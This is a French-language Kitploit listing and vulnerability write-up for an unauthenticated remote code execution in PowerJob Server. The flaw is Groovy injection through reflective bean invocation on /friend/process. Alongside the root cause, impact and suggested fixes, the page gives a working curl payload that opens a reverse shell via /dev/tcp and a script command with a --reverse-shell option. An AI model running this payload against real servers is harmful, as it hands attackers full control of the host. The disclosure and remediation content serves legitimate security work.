Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-75429_PowerJob_friend_process_RCE — Exploit d'exécution de code à distance non authentifiée pour PowerJob Server via injection Groovy dans le point de terminaison /friend/process, permettant l'exécution de commandes arbitraires et des shells inversés. | Kitploit
Outils/GitHubGitHub/unpredictable21/cve-2026-75429_powerjob_friend_process_rce
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionCheval de Troie d'Accès à Distance
GitHubunpredictable21/cve-2026-75429_powerjob_friend_process_rce

CVE-2026-75429_PowerJob_friend_process_RCE

Exploit d'exécution de code à distance non authentifiée pour PowerJob Server via injection Groovy dans le point de terminaison /friend/process, permettant l'exécution de commandes arbitraires et des shells inversés.

Voir le dépôt
il y a 25 joursPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Exécution de code à distance sur le serveur PowerJob via /friend/process non authentifié (injection Groovy)

1. Résumé

Le serveur PowerJob (framework distribué d'ordonnancement de tâches / de calcul) expose le point de terminaison /friend/process sur son port HTTP 10010 de la couche de transport Worker↔Server sans aucune authentification. Le point de terminaison reflète une méthode publique arbitraire d'un bean Spring arbitraire ; un attaquant invoquant GroovyEvaluator.evaluate peut exécuter des expressions Groovy arbitraires, réalisant ainsi une exécution de code à distance non authentifiée. Le docker-compose par défaut publie ce port sur 0.0.0.0, de sorte qu'un serveur peut être entièrement compromis sans aucune information d'identification.

2. Produit concerné

  • Produit : PowerJob (framework distribué d'ordonnancement de tâches / de calcul)
  • Versions concernées : 5.1.2 (la conception de la couche de transport a été reprise des versions antérieures ; les versions plus anciennes sont également concernées — signaler les versions 4.x–5.1.2)
  • Dépôt source : https://github.com/PowerJob/PowerJob
  • Déploiement par défaut : docker-compose.yml:29-33,47-48 publie 10010 (transport HTTP), 10086 (AKKA), 10077 (MU) sur l'hôte 0.0.0.0

3. Emplacement de la vulnérabilité

ÉlémentValeur
Point de terminaison déclencheurPOST http://<server>:10010/friend/process
EnregistrementFriendActor.java @Actor(path = "friend") + @Handler(path = "process") (enregistré pour les trois protocoles : HTTP/MU/AKKA)
Exécution réflexiveRemoteRequestProcessor.processRemoteRequest()
Point de chute dangereuxGroovyEvaluator.evaluate() → ScriptEngine.eval()
Authentification manquanteHttpVertxCSInitializer (HTTP) / MuServerHandler (MU) enregistrent les routes sans aucune vérification de jeton/signature

Fichiers source clés (relatifs à la racine du dépôt) :

  • powerjob-remote/powerjob-remote-impl-http/src/main/java/tech/powerjob/remote/http/HttpVertxCSInitializer.java (enregistre les routes 10010, sans authentification)
  • powerjob-server/powerjob-server-remote/src/main/java/tech/powerjob/server/remote/server/FriendActor.java:40-53
  • powerjob-server/powerjob-server-remote/src/main/java/tech/powerjob/server/remote/server/redirector/RemoteRequestProcessor.java:17-37
  • powerjob-server/powerjob-server-core/src/main/java/tech/powerjob/server/core/evaluator/GroovyEvaluator.java:17-28

4. Cause racine

  1. Authentification nulle sur la couche de transport : PowerJob traite les protocoles de communication entre Worker et Server (HTTP/AKKA/MU) comme une zone de « confiance interne ». Tout hôte pouvant atteindre les ports 10010/10086/10077 est traité comme un nœud légitime ; il n'y a ni poignée de main ni signature.
  2. Réflexion de bean arbitraire : RemoteRequestProcessor.processRemoteRequest fait entièrement confiance aux champs className, methodName, parameterTypes et args du corps de la requête — il utilise Class.forName + SpringUtils.getBean pour obtenir n'importe quel bean Spring, puis invoque n'importe laquelle de ses méthodes publiques via Spring ReflectionUtils.
  3. Méthode dangereuse accessible : GroovyEvaluator est un bean @Component dont la méthode evaluate(String, Object) appelle le moteur de script Groovy (ScriptEngineManager) pour eval() directement l'expression de l'attaquant.

La combinaison de ces trois éléments équivaut à une exécution de code à distance non authentifiée.

5. Scénario d'attaque (condition préalable : accessibilité réseau au port 10010 uniquement)

  1. L'attaquant envoie un POST HTTP au port 10010 du serveur PowerJob (aucun Cookie/Token requis).
  2. Le corps de la requête est un JSON RemoteProcessReq qui cible GroovyEvaluator.evaluate avec une expression Groovy arbitraire (par exemple, 'id'.execute().text).
  3. Le serveur invoque réflexivement la méthode ; le moteur Groovy évalue l'expression.
  4. Le résultat de l'exécution de la commande est renvoyé à l'attaquant dans AskResponse.data (JSON base64).
  5. L'attaquant peut également utiliser Groovy pour écrire des fichiers arbitraires, lancer un shell inverse ou exfiltrer des données.

6. Reproduction (vérifiée)

Environnement : JDK 17, powerjob-server-starter-5.1.2.jar compilé à partir des sources (profil daily), serveur à l'écoute sur 192.168.49.128:10010. Re-vérifié sur JDK 21 (la charge utile sous forme de shell ci-dessous fonctionne sur les deux ; voir la note sur File.write ci-dessous).

root@kitploit:~
curl -s http://192.168.49.128:10010/friend/process -H 'Content-Type: application/json' -d '{
  "className": "tech.powerjob.server.core.evaluator.GroovyEvaluator",
  "methodName": "evaluate",
  "parameterTypes": ["java.lang.String","java.lang.Object"],
  "args": ["['/bin/sh','-c','bash -i >& /dev/tcp/reverseip/reverseport 0>&1 &'].execute().text", null]
}'

Réponse réelle : {"success":true,"data":"InJldmVyc2Utc2hlbGwtbGF1bmNoZWQi"}. Le décodage base64 du champ data donne la sortie de la commande exécutée sur la JVM du serveur :

image

Vous pouvez également la reproduire à l'aide du script :

python3 powerjob_friend_process_rce.py 192.168.49.128:10010 --reverse-shell 192.168.3.17:7878

7. Observé vs Attendu

  • Observé : une requête HTTP non authentifiée amène le serveur à exécuter des commandes arbitraires.
  • Attendu : /friend/process fait partie de la communication interne Server↔Worker ; il devrait rejeter les requêtes non authentifiées, ou la méthode ne devrait pas être invocable à distance du tout.

8. Impact

  • Confidentialité : Élevée — lecture de fichiers/mémoire/informations d'identification arbitraires sur le serveur.
  • Intégrité : Élevée — écriture de fichiers arbitraires, altération de la configuration et des tâches.
  • Disponibilité : Élevée — peut mettre fin à des processus/services.
  • Limite d'impact : processus serveur → hôte (avec les privilèges de l'utilisateur du service) ; dans un déploiement par défaut, l'attaquant peut se déplacer latéralement dans le réseau interne de l'hôte.

9. Correctif suggéré

  1. Ajouter une authentification mutuelle Server/Worker (jeton/signature) à la couche de transport et valider la source ; ne pas exposer 10010/10086/10077 à l'Internet public.
  2. Modifier RemoteRequestProcessor pour une liste blanche : restreindre className/methodName aux gestionnaires sûrs définis par le framework et interdire l'invocation réflexive de beans arbitraires.
  3. Supprimer ou restreindre strictement l'accessibilité à distance de GroovyEvaluator (s'il doit rester, ajouter une authentification et un bac à sable).
  4. Désactiver /friend/process (S4S_HANDLER_PROCESS) par défaut ou le restreindre aux sources internes uniquement.

10. CWE

  • Principal : CWE-94 (Mauvais contrôle de la génération de code — injection Groovy)
  • Secondaire : CWE-470 (Utilisation d'une entrée contrôlée de l'extérieur pour sélectionner des classes ou du code — réflexion de bean arbitraire), CWE-306 (Authentification manquante pour une fonction critique)

11. CVSS

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = 9.8 Critique

12. Environnement

  • Système d'exploitation : Ubuntu 22.04 / Linux 6.8
  • JDK : 17.0.19 (reproduction d'origine) ; re-vérifié sur OpenJDK 21.0.11
  • Compilation : Maven 3.6.3, mvn -B -DskipTests -pl powerjob-server/powerjob-server-starter -am package
  • Base de données : MariaDB 10.6 (non requise — /friend/process est déclenchable sans base de données)
  • Exécution : java -Xmx512m -jar powerjob-server-starter-5.1.2.jar --spring.profiles.active=daily ...
Télécharger l’outil